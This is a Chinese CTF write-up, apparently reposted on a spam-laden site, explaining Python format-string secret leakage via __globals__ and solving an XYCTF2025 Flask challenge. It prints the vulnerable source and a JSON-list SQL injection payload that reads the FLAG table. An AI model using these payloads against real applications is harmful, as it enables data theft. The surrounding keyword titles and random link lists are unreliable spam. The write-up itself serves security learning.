当前位置: 首页 > wzjs >正文

网站推广什么意思wordpress自定义字段分类

网站推广什么意思,wordpress自定义字段分类,建设网站的主要流程有哪些内容,天津市区县档案部门网站建设指导意见什么是python格式化字符串漏洞 python中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息 python常见的格式化字符串 百…

什么是python格式化字符串漏洞

python中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

python常见的格式化字符串

百分号形式进行格式化字符串

>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'

使用标准库中的模板字符串

string.Template()

>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'

使用format进行格式化字符串

format的使用就很灵活了,比如以下
最普通的用法就是直接格式化字符串

>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'

指定位置

>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'

设置参数

>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'

百分比格式

>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'

获取数组的键值

>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'

用法还有很多,就不一一列举了
这里看一种错误的用法
先是正常打印

>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
...     def __init__(self, name):
...             self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky

恶意利用

>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"

可以看到,当我们的name=user.__class__.__init__.__globals__时,就可以将很多敏感的东西给打印出来

Python 格式化字符串漏洞(Django为例) | 离别歌这个里面有很多从的操作实例,我了解到这个是来自XYCTF2025的web-fate

#!/usr/bin/env python3
import flask
import sqlite3app = flask.Flask(__name__)def db_search(code):with sqlite3.connect('database.db') as conn:cur = conn.cursor()cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")found = cur.fetchone()return None if found is None else found[0]@app.route('/')
def index():return flask.render_template("index.html")@app.route('/api/search', methods=['POST'])
def api_search():req = flask.request.get_json()if 'code' not in req:flask.abort(400, "Empty country code")code = req['code']if len(code) != 2 or "'" in code:flask.abort(400, "Invalid country code")name = db_search(code)if name is None:flask.abort(404, "No such country")return {'name': name}if __name__ == '__main__':app.run(debug=True)

这是题目源码,是一个几乎不可能绕过的sql注入

但是这里的传参使用的是flask.request.get_json(),这个方法没有对传入的类型做检查。因此,我们可以传入非字符串类型的变量

在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串

所以这题可以这样解:

{"code":["1') UNION SELECT FLAG FROM FLAG --","1"]}

传入的code为列表,因而可以通过waf(len为2,没有'元素)随后直接被f-string强转,拼入sql语句,如下:

SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')

就可以完成一次SQL注入。拿到FLAG表里的FLAG值。


文章转载自:

http://sFdvRTq0.xfcjs.cn
http://V1sPsstD.xfcjs.cn
http://HJAkPKqq.xfcjs.cn
http://bthbHGT9.xfcjs.cn
http://WXmZXDiK.xfcjs.cn
http://dxu5CzlB.xfcjs.cn
http://hxwNpMRY.xfcjs.cn
http://6IsDuO2g.xfcjs.cn
http://MqdNyPAQ.xfcjs.cn
http://Bb3NxwRS.xfcjs.cn
http://jj2qzv7r.xfcjs.cn
http://7CVYyk2Z.xfcjs.cn
http://yQFAn7rQ.xfcjs.cn
http://SKFkjJp8.xfcjs.cn
http://x5jOI6mA.xfcjs.cn
http://XnQo1DBo.xfcjs.cn
http://U3iUUjhV.xfcjs.cn
http://SvQzINUu.xfcjs.cn
http://R0Rm8zLy.xfcjs.cn
http://nJ24x86G.xfcjs.cn
http://u9NYv0Ld.xfcjs.cn
http://fGZeiZcT.xfcjs.cn
http://M8BxUBvx.xfcjs.cn
http://zE4zFOjU.xfcjs.cn
http://iIBKgJCe.xfcjs.cn
http://NCVU1Cf7.xfcjs.cn
http://VgxGqydp.xfcjs.cn
http://zSXunt6f.xfcjs.cn
http://lhxjS7fZ.xfcjs.cn
http://a0kNxQVm.xfcjs.cn
http://www.dtcms.com/wzjs/695754.html

相关文章:

  • 设计师接单的网站ui做网站流程
  • 济宁君天建设公司网站潍坊市建设工程质量安全监督站网站
  • 石家庄制作网站软件excel可以制作网页吗
  • 石家庄网站建设策划方案无锡企业建站模板
  • 请别人做网站大概要多少钱选thinkphp还是wordpress
  • 廊坊建设质量监督局网站中国建设银行企业门户网站
  • 个人网站备案资料深圳今天新增确诊名单
  • 响应式网站一般怎么设计网站10月份可以做哪些有意思的专题
  • 做网站的最佳方法黄石城乡建设网站
  • 网站备案要钱吗wordpress图片缓冲
  • 开发一个网站多少钱雏光 网络推广 网站建设
  • 海南专业网站建设百度竞价排名技巧
  • 建设网站图片网站建设zgkr
  • 用dw建设个人网站视频wordpress 访客文章
  • 湖北建设招标网 官方网站旅游网站建设设计公司
  • 滨州哪里有做网站的郴州网络推广公司在哪里
  • 小学校园门户网站建设方案兄弟们拿走不谢
  • 白银市做网站网站建设 图标
  • 优化网站排名公司网红营销模式分析
  • 建站平台软件怎么做建设网站
  • 网站建设技术服务的方式是什么建站平台入口
  • 如何提升网站转化率营销策划公司收费明细
  • 网站制作开发公司网站 微信
  • 电子产品网站建设策划方案胶州企业网站设计
  • 做视频的软件模板下载网站有哪些内容北京建设主管部门官方网站
  • 徐州网站优化价格菏泽网站网站建设
  • 专业做二手房的网站elementor做视频网站
  • 网站怎么做才不会被墙网站建设 人和商圈
  • 服装东莞网站建设广州平台公司
  • 忻州做网站怎么打开公众号